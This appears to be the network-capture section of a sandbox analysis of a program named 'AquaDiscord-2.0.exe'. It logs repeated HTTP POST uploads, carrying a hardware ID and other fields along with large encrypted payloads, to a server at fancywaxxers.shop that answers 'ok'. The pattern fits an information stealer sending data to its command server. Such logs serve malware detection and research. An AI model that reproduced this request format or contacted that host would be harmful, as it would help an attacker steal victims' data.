2024-12-30 19:40:02 UTC	1369	IN	Data Raw: 63 6c 7a 6f 41 34 48 46 77 33 67 51 53 57 52 36 74 47 62 6d 48 4b 66 5a 6a 51 78 6e 78 48 7a 7a 33 67 44 6e 4d 38 55 4a 36 6a 32 6a 44 69 6a 46 6b 74 50 53 64 74 47 4a 34 37 75 6c 4b 4f 46 59 34 4e 71 50 6a 62 58 42 62 4c 51 4b 67 69 65 6e 55 6c 31 76 4c 6e 4c 65 36 73 50 41 68 73 45 36 45 67 79 6e 2b 76 53 6d 4a 6c 67 6b 32 63 79 50 35 30 5a 2f 63 4e 6a 43 4a 72 61 45 69 66 36 2b 49 4a 2f 76 45 35 54 56 79 44 71 55 7a 6d 4f 72 63 6e 63 69 69 43 53 62 58 4e 69 31 78 37 32 78 6d 34 49 6e 74 73 55 4d 37 65 33 7a 58 6d 6b 41 51 38 63 41 4f 74 41 4f 70 76 67 30 6f 43 5a 61 35 70 74 4f 6a 61 61 57 72 4b 4a 62 52 66 53 68 56 45 45 74 37 6a 4d 66 37 4a 4f 46 46 6b 51 72 55 59 37 33 72 57 57 6b 35 39 76 6c 6d 34 77 4f 5a 59 51 37 74 74 6d 42 70 72 59 48 54 36 30 Data Ascii: clzoA4HFw3gQSWR6tGbmHKfZjQxnxHzz3gDnM8UJ6j2jDijFktPSdtGJ47ulKOFY4NqPjbXBbLQKgienUl1vLnLe6sPAhsE6Egyn+vSmJlgk2cyP50Z/cNjCJraEif6+IJ/vE5TVyDqUzmOrcnciiCSbXNi1x72xm4IntsUM7e3zXmkAQ8cAOtAOpvg0oCZa5ptOjaaWrKJbRfShVEEt7jMf7JOFFkQrUY73rWWk59vlm4wOZYQ7ttmBprYHT60
2024-12-30 19:40:02 UTC	1369	IN	Data Raw: 49 46 43 68 51 66 34 46 46 33 30 4b 33 48 6c 59 49 67 7a 58 63 6a 4c 5a 41 46 73 74 41 71 43 4a 36 64 53 58 57 38 76 38 52 2f 6f 67 41 5a 45 67 2f 69 54 6a 36 58 36 64 36 52 6b 32 53 52 5a 6a 59 35 6d 78 48 37 79 6d 55 4c 6d 39 4d 59 4f 76 72 34 67 6e 2b 38 54 6c 4e 58 4b 50 5a 43 4f 35 4f 74 79 64 79 4b 49 4a 4a 74 63 32 4c 58 46 76 4c 4d 61 67 57 55 32 52 51 7a 73 4c 50 43 63 36 63 42 44 78 45 4e 34 6b 45 38 6c 2b 7a 51 6c 35 6c 72 6b 32 77 77 50 4a 46 61 73 6f 6c 74 46 39 4b 46 55 52 57 68 75 38 35 2f 35 42 46 46 44 6b 6e 71 54 58 66 47 72 64 32 65 6c 32 65 56 62 44 41 79 6b 68 37 32 7a 47 6f 48 67 4e 55 52 4d 71 69 6b 77 6e 47 68 41 67 67 58 44 65 74 49 4d 5a 33 70 6c 74 7a 54 5a 34 30 68 61 33 71 36 46 76 76 67 62 52 54 53 77 6c 38 73 2b 72 48 4f 4f Data Ascii: IFChQf4FF30K3HlYIgzXcjLZAFstAqCJ6dSXW8v8R/ogAZEg/iTj6X6d6Rk2SRZjY5mxH7ymULm9MYOvr4gn+8TlNXKPZCO5OtydyKIJJtc2LXFvLMagWU2RQzsLPCc6cBDxEN4kE8l+zQl5lrk2wwPJFasoltF9KFURWhu85/5BFFDknqTXfGrd2el2eVbDAykh72zGoHgNURMqikwnGhAggXDetIMZ3pltzTZ40ha3q6FvvgbRTSwl8s+rHOO
2024-12-30 19:40:02 UTC	1369	IN	Data Raw: 46 57 2f 49 42 4b 4b 47 6a 6c 70 50 54 4f 4b 78 34 63 79 7a 58 51 71 36 48 4b 68 33 53 68 56 46 79 75 61 54 51 66 71 63 59 43 46 41 33 30 32 59 68 6c 4f 72 47 6c 59 52 76 31 53 39 7a 4e 64 64 43 78 59 6c 6a 43 49 6e 4d 42 7a 69 71 73 59 4a 48 36 6b 34 54 56 31 47 74 64 44 53 51 34 39 47 45 67 69 32 79 64 7a 6b 39 68 78 33 72 78 69 70 42 30 74 74 52 62 65 6e 34 67 6e 79 31 54 6c 4e 48 57 37 59 55 5a 4d 6d 39 68 49 33 64 65 64 56 33 63 32 4c 46 56 4c 7a 62 4b 6c 66 53 6d 68 49 6e 71 4c 44 42 62 71 64 4a 4e 53 6b 75 39 30 77 78 69 66 7a 6f 72 4a 52 36 6d 47 63 6b 4b 39 73 50 2f 38 64 6b 43 49 53 64 58 33 57 31 39 70 70 42 35 45 5a 4c 4b 45 65 74 57 58 66 47 72 65 4f 52 6e 57 36 53 64 79 4a 33 73 41 44 78 7a 33 30 65 30 70 4e 52 4d 2f 72 75 6b 44 62 6b 43 68 Data Ascii: FW/IBKKGjlpPTOKx4cyzXQq6HKh3ShVFyuaTQfqcYCFA302YhlOrGlYRv1S9zNddCxYljCInMBziqsYJH6k4TV1GtdDSQ49GEgi2ydzk9hx3rxipB0ttRben4gny1TlNHW7YUZMm9hI3dedV3c2LFVLzbKlfSmhInqLDBbqdJNSku90wxifzorJR6mGckK9sP/8dkCISdX3W19ppB5EZLKEetWXfGreORnW6SdyJ3sADxz30e0pNRM/rukDbkCh
2024-12-30 19:40:02 UTC	1369	IN	Data Raw: 52 6a 47 34 7a 5a 62 63 30 32 2f 56 4f 51 70 36 33 31 72 44 68 79 6f 58 30 6f 56 52 41 4c 6d 34 7a 48 2b 79 48 30 59 2f 4b 74 64 37 64 62 4c 71 77 39 43 6e 5a 34 56 77 4f 44 65 62 57 72 4b 4a 62 45 2f 4b 6a 56 39 31 76 71 65 43 49 50 52 63 55 45 4a 61 75 68 46 6c 67 61 50 50 30 6f 55 67 7a 54 4e 39 65 6f 56 61 70 49 6b 74 44 49 44 50 46 7a 61 73 74 59 56 47 6d 69 6b 46 45 41 6a 37 55 53 43 52 30 2b 69 48 6b 47 36 62 5a 69 55 72 31 31 53 38 78 69 70 58 71 35 31 5a 64 59 58 34 67 6d 44 6b 56 6b 73 69 43 75 4e 50 4d 49 6a 38 6d 37 57 64 5a 35 52 33 49 79 32 59 57 72 4b 4a 62 45 2f 4b 6a 31 39 31 76 71 65 43 49 50 52 63 55 45 4a 61 75 68 46 6c 67 61 50 50 30 6f 55 67 7a 54 4e 39 65 6f 56 61 70 49 6b 74 44 49 44 50 46 7a 61 73 74 59 56 47 6d 69 6b 46 45 41 6a Data Ascii: RjG4zZbc02/VOQp631rDhyoX0oVRALm4zH+yH0Y/Ktd7dbLqw9CnZ4VwODebWrKJbE/KjV91vqeCIPRcUEJauhFlgaPP0oUgzTN9eoVapIktDIDPFzastYVGmikFEAj7USCR0+iHkG6bZiUr11S8xipXq51ZdYX4gmDkVksiCuNPMIj8m7WdZ5R3Iy2YWrKJbE/Kj191vqeCIPRcUEJauhFlgaPP0oUgzTN9eoVapIktDIDPFzastYVGmikFEAj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.16.1	443	7400	C:\Users\user\Desktop\AquaDiscord-2.0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 19:40:03 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PWVB9DTBKL8T9JJG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18155 Host: fancywaxxers.shop
2024-12-30 19:40:03 UTC	15331	OUT	Data Raw: 2d 2d 50 57 56 42 39 44 54 42 4b 4c 38 54 39 4a 4a 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 43 33 30 33 38 30 39 32 36 39 43 41 43 42 43 38 32 41 38 31 34 38 43 36 45 35 34 34 30 30 0d 0a 2d 2d 50 57 56 42 39 44 54 42 4b 4c 38 54 39 4a 4a 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 57 56 42 39 44 54 42 4b 4c 38 54 39 4a 4a 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 38 39 39 30 38 33 34 34 30 0d 0a Data Ascii: --PWVB9DTBKL8T9JJGContent-Disposition: form-data; name="hwid"A0C303809269CACBC82A8148C6E54400--PWVB9DTBKL8T9JJGContent-Disposition: form-data; name="pid"2--PWVB9DTBKL8T9JJGContent-Disposition: form-data; name="lid"yau6Na--899083440
2024-12-30 19:40:03 UTC	2824	OUT	Data Raw: eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 Data Ascii: JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6
2024-12-30 19:40:04 UTC	1140	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 19:40:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7ml4d00qkj2v8p8k7spjbcia9k; expires=Fri, 25 Apr 2025 13:26:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=htTH3v%2BRuutXPibbpcUqFkKZ2ivTOgvzSCgJxWA%2B9PqJ7Lz2GT3wht2SKfw7dtyi9YfxlyWr2ioxMcB%2FictfajGZD%2FTLw2Q5tchHI6k3U%2BH4TMS%2BuSJded6JU2KkZpwW7j54Gw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa47fd9ba8b0fa8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9609&min_rtt=1529&rtt_var=5502&sent=10&recv=23&lost=0&retrans=0&sent_bytes=2843&recv_bytes=19116&delivery_rate=1909744&cwnd=252&unsent_bytes=0&cid=6b84b3717fd8fdbb&ts=590&x=0"
2024-12-30 19:40:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 19:40:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.16.1	443	7400	C:\Users\user\Desktop\AquaDiscord-2.0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 19:40:04 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=31SE6XOSNI1GR4O9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8776 Host: fancywaxxers.shop
2024-12-30 19:40:04 UTC	8776	OUT	Data Raw: 2d 2d 33 31 53 45 36 58 4f 53 4e 49 31 47 52 34 4f 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 43 33 30 33 38 30 39 32 36 39 43 41 43 42 43 38 32 41 38 31 34 38 43 36 45 35 34 34 30 30 0d 0a 2d 2d 33 31 53 45 36 58 4f 53 4e 49 31 47 52 34 4f 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 31 53 45 36 58 4f 53 4e 49 31 47 52 34 4f 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 38 39 39 30 38 33 34 34 30 0d 0a Data Ascii: --31SE6XOSNI1GR4O9Content-Disposition: form-data; name="hwid"A0C303809269CACBC82A8148C6E54400--31SE6XOSNI1GR4O9Content-Disposition: form-data; name="pid"2--31SE6XOSNI1GR4O9Content-Disposition: form-data; name="lid"yau6Na--899083440
2024-12-30 19:40:05 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 19:40:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rp437efj0arpaj11hqb37phisa; expires=Fri, 25 Apr 2025 13:26:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X0Zipre7Bx%2BmmjAWDWWHRmWict7q8B74s2tJysiVglhW7o5NjblBEYyidRb0gZq7dDftnDDodOHIJKqcWssm3TUIWOtwizBvjaq%2B48udOXsJ3n83HcFN7PFCVwkWAdjLTuyQhg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa47fe19d2141ba-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1670&min_rtt=1670&rtt_var=835&sent=10&recv=19&lost=0&retrans=1&sent_bytes=4224&recv_bytes=9714&delivery_rate=129346&cwnd=192&unsent_bytes=0&cid=bdb77f9c74ece635&ts=626&x=0"
2024-12-30 19:40:05 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 19:40:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.16.1	443	7400	C:\Users\user\Desktop\AquaDiscord-2.0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 19:40:05 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=I24VIESSJNHBXRFHT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20435 Host: fancywaxxers.shop
2024-12-30 19:40:05 UTC	15331	OUT	Data Raw: 2d 2d 49 32 34 56 49 45 53 53 4a 4e 48 42 58 52 46 48 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 43 33 30 33 38 30 39 32 36 39 43 41 43 42 43 38 32 41 38 31 34 38 43 36 45 35 34 34 30 30 0d 0a 2d 2d 49 32 34 56 49 45 53 53 4a 4e 48 42 58 52 46 48 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 49 32 34 56 49 45 53 53 4a 4e 48 42 58 52 46 48 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 38 39 39 30 38 33 34 34 Data Ascii: --I24VIESSJNHBXRFHTContent-Disposition: form-data; name="hwid"A0C303809269CACBC82A8148C6E54400--I24VIESSJNHBXRFHTContent-Disposition: form-data; name="pid"3--I24VIESSJNHBXRFHTContent-Disposition: form-data; name="lid"yau6Na--89908344
2024-12-30 19:40:05 UTC	5104	OUT	Data Raw: 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-12-30 19:40:06 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 19:40:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dg57kri49sqd366lmeeas6ft2r; expires=Fri, 25 Apr 2025 13:26:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d%2F3vcQUCnQ7BPzVRyEvpY3pPgMUyH5jZUgsT2E2sQAAFFmPsRhwzaeZByB1yhXi7xRrOd9tkcAInD3X2toQwMepAvC4loGJ6qZL5I%2FmWA0Ee5CcJy4GN4onSc0qPX0Dfr9WvIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa47fe929a28ce0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1822&min_rtt=1818&rtt_var=690&sent=12&recv=24&lost=0&retrans=0&sent_bytes=2843&recv_bytes=21397&delivery_rate=1577525&cwnd=211&unsent_bytes=0&cid=1394ecc2eb954698&ts=636&x=0"
2024-12-30 19:40:06 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 19:40:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.16.1	443	7400	C:\Users\user\Desktop\AquaDiscord-2.0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 19:40:07 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7QDHNTT6P9GXOFE73 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1272 Host: fancywaxxers.shop
2024-12-30 19:40:07 UTC	1272	OUT	Data Raw: 2d 2d 37 51 44 48 4e 54 54 36 50 39 47 58 4f 46 45 37 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 43 33 30 33 38 30 39 32 36 39 43 41 43 42 43 38 32 41 38 31 34 38 43 36 45 35 34 34 30 30 0d 0a 2d 2d 37 51 44 48 4e 54 54 36 50 39 47 58 4f 46 45 37 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 51 44 48 4e 54 54 36 50 39 47 58 4f 46 45 37 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 38 39 39 30 38 33 34 34 Data Ascii: --7QDHNTT6P9GXOFE73Content-Disposition: form-data; name="hwid"A0C303809269CACBC82A8148C6E54400--7QDHNTT6P9GXOFE73Content-Disposition: form-data; name="pid"1--7QDHNTT6P9GXOFE73Content-Disposition: form-data; name="lid"yau6Na--89908344
2024-12-30 19:40:07 UTC	1128	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 19:40:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mjlj39rqnbnlu7nulmbfle9nqd; expires=Fri, 25 Apr 2025 13:26:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9Sc0t5xiBhvEgmP2LjLLhi6UAcykKyEG8Pol4OYUCh442Sz%2FsEn%2FexbBYPupEDWCHmKLdtsXJeqoHyagpCLMhdgIfby9OVnmehmKr0po21q7qj85yfCsgNAa3hpJsOme2iVC5A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa47ff28e758ce0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1888&min_rtt=1859&rtt_var=718&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2189&delivery_rate=1570736&cwnd=211&unsent_bytes=0&cid=edfaa398cb73172d&ts=417&x=0"
2024-12-30 19:40:07 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 19:40:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	104.21.16.1	443	7400	C:\Users\user\Desktop\AquaDiscord-2.0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 19:40:08 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QHWUI9X4NXFQ1AP7DF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568932 Host: fancywaxxers.shop
2024-12-30 19:40:08 UTC	15331	OUT	Data Raw: 2d 2d 51 48 57 55 49 39 58 34 4e 58 46 51 31 41 50 37 44 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 43 33 30 33 38 30 39 32 36 39 43 41 43 42 43 38 32 41 38 31 34 38 43 36 45 35 34 34 30 30 0d 0a 2d 2d 51 48 57 55 49 39 58 34 4e 58 46 51 31 41 50 37 44 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 48 57 55 49 39 58 34 4e 58 46 51 31 41 50 37 44 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 38 39 39 30 38 Data Ascii: --QHWUI9X4NXFQ1AP7DFContent-Disposition: form-data; name="hwid"A0C303809269CACBC82A8148C6E54400--QHWUI9X4NXFQ1AP7DFContent-Disposition: form-data; name="pid"1--QHWUI9X4NXFQ1AP7DFContent-Disposition: form-data; name="lid"yau6Na--89908
2024-12-30 19:40:08 UTC	15331	OUT	Data Raw: a2 fd 9c 85 51 8c af b3 8f c7 9f 86 1f 2a ea 79 d9 e5 fb ab af d8 7d a6 23 be 02 03 52 cc 09 80 6f 83 67 31 0f bf b1 f3 28 df 6c c4 e1 6f b0 38 e3 f2 ff 19 01 e4 21 15 78 e4 b7 21 b8 1f c4 19 52 73 fd 00 33 97 0f 9c 86 03 22 43 70 dc a3 b2 b5 0e 7e 33 fb 31 1b 8a 21 2b c5 bc 28 5f fa ec 5a ca ef bc a9 96 11 08 da cb b7 e7 ac f5 81 d6 b6 4b de cf e3 bc 9e 57 8b 78 7a e0 08 6d e2 cd d1 1a 0d 5c 8e 7b 4d b2 5a fe e5 1f f8 81 30 49 74 eb 7d 0a 73 91 3d f3 e5 af 6d ed 58 4a 79 9c 82 79 de 37 dc 19 cd f4 46 1f 65 d0 f9 84 1e f8 5e b9 56 49 24 8c 6d e6 bc bb 34 68 d5 b4 93 df 83 a6 9c 0c 31 49 59 be da be f8 b7 18 8e 48 50 bd 89 58 98 90 b8 ad 19 3d 6a 2a 97 d5 1f 86 c8 9b 5c be 0e b6 39 df 2d ed bf ca 57 f7 f1 e7 80 a4 a5 11 e6 c4 69 e7 5d 4f 52 51 ff a1 d8 ba Data Ascii: Qy}#Rog1(lo8!x!Rs3"Cp~31!+(_ZKWxzm\{MZ0It}s=mXJyy7Fe^VI$m4h1IYHPX=j\9-Wi]ORQ
2024-12-30 19:40:08 UTC	15331	OUT	Data Raw: 94 92 5b dd 55 55 ee 1e fd ac 78 5c 46 d3 65 d3 f8 a3 36 36 f0 72 61 77 70 12 3e d8 4b b4 dc e1 2b bd fe ab ff f5 b7 36 55 ee 11 35 35 85 92 60 a8 38 c4 14 62 cc e6 e2 c1 b6 1d ff 6a b1 d4 ba 08 c4 20 fd 77 e4 fa fc 4b 90 34 f3 df 21 d6 b9 d9 1a de 80 46 42 02 88 53 e4 ff 6b d0 b4 54 7f 9f a8 09 44 c0 61 0c ef e4 9e dd 7d 40 7a 3f 4d 15 81 e3 eb d7 f7 c9 36 ca 24 43 d5 ab 3b eb fa e5 2a a5 c0 62 e3 0d c8 57 f4 59 fa 71 35 d1 f6 8f e8 2b d9 f7 79 7b fe 02 8a 60 5c 3d e1 e7 f1 3f 6d 05 91 75 c8 81 16 6f fd 41 90 82 cb 8c f1 e9 51 88 16 8e 0e 80 8f 2d a8 14 71 e4 d7 75 35 3c 71 57 0d 98 84 dd 84 07 9c 20 22 f8 30 15 f1 9a 54 a0 e5 91 bb b7 41 67 4b fe 14 a9 78 be 76 0d 5f 6a 92 de 93 8a 18 29 21 73 99 b0 12 b0 77 80 45 4c dc 47 f2 e6 14 30 23 90 40 f6 ea f1 Data Ascii: 